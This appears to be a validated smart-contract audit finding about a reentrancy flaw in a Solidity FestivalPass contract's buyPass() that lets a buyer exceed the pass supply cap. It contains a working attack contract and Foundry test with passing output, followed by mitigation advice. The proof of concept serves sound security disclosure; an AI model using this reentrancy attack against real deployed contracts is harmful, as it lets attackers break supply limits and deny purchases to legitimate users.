Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy Risk in `buyPass()` Leading to Supply Cap Violation and Denial of Service

Root + Impact

Description

  • FestivalPass contract allows users to buy a pass with specified price, with a maximum supply limit

  • According to the design of ERC1155, _mint() will call checkOnERC1155Received() or checkOnERC1155BatchReceived() to ensure the recipient can indeed receive token, which creates an opportunity for reentrancy

  • Inisde buyPass(), passSupply is updated after _mint() executed, which allow malicious users to re-enter buyPass() and bypass the maximum supply check

  • In addition, allowing reentrancy for buyPass() may lead to DoS where a malicious user purchases all available passes in a single transaction, preventing others from buying them

@> // no reentrancy guard
function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
_mint(msg.sender, collectionId, 1, "");
@> // passSupply is updated after _mint()
++passSupply[collectionId];
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Risk

Likelihood:

  • Reentrancy is a well-known and commonly exploited vulnerability, especially in token contracts that interact with untrusted recipients.

  • Once passSupply is closed to passMaxSupply or attacker has enough fund, this vulnerability will be exploited in a single transaction, no special privileges are required

Impact:

  • Break the core business logic and trust assumptions of the protocol

  • DoS: Other legitimate users will be unable to purchase passes

Proof of Concept

Add the following test and exploit contract, and run this command forge test -vv --match-test test_buyPass_reentrant

// add this test
function test_buyPass_reentrant() public {
// Configure a pass with max supply of 1
vm.prank(organizer);
festivalPass.configurePass(1, GENERAL_PRICE, 1);
assertEq(festivalPass.passMaxSupply(1), 1);
console.log("General Pass max supply: ", festivalPass.passMaxSupply(1));
vm.startPrank(user1);
ReentrancyPass exploit = new ReentrancyPass{value: 0.5 ether}(festivalPass, beatToken);
exploit.exploit();
vm.stopPrank();
assertEq(festivalPass.balanceOf(address(exploit), 1), 2);
console.log("Exploit has purchased %s passes: ", festivalPass.balanceOf(address(exploit), 1));
}
// attack contract
contract ReentrancyPass is IERC1155Receiver {
FestivalPass public festivalPass;
BeatToken public beatToken;
uint256 mint_amount;
constructor(FestivalPass _festivalPass, BeatToken _beatToken) payable {
festivalPass = _festivalPass;
beatToken = _beatToken;
}
function exploit() external {
festivalPass.buyPass{value: 0.05 ether}(1);
}
function onERC1155Received (
address,
address,
uint256,
uint256,
bytes calldata
) external returns (bytes4) {
// mint one more pass
if (++mint_amount < 2) {
festivalPass.buyPass{value: 0.05 ether}(1);
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived (
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
receive() external payable {
}
}

PoC result:

forge test -vv --match-test test_buyPass_reentrant
[⠊] Compiling...
[⠘] Compiling 2 files with Solc 0.8.25
[⠃] Solc 0.8.25 finished in 762.66ms
Ran 1 test for test/FestivalPass.t.sol:FestivalPassTest
[PASS] test_buyPass_reentrant() (gas: 680898)
Logs:
General Pass max supply: 1
Exploit has purchased 2 passes:
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 37.29ms (6.47ms CPU time)
Ran 1 test suite in 273.39ms (37.29ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

  • To prevent from breaking maximum supply limit, simply follow Checks-Effects-Interactions Pattern: update passSupply before executing _mint()

function buyPass(uint256 collectionId) external payable {
...
+ ++passSupply[collectionId];
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
...
}
  • To prevent reentrancy, use ReentrancyGuard provided by Openzeppelin

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.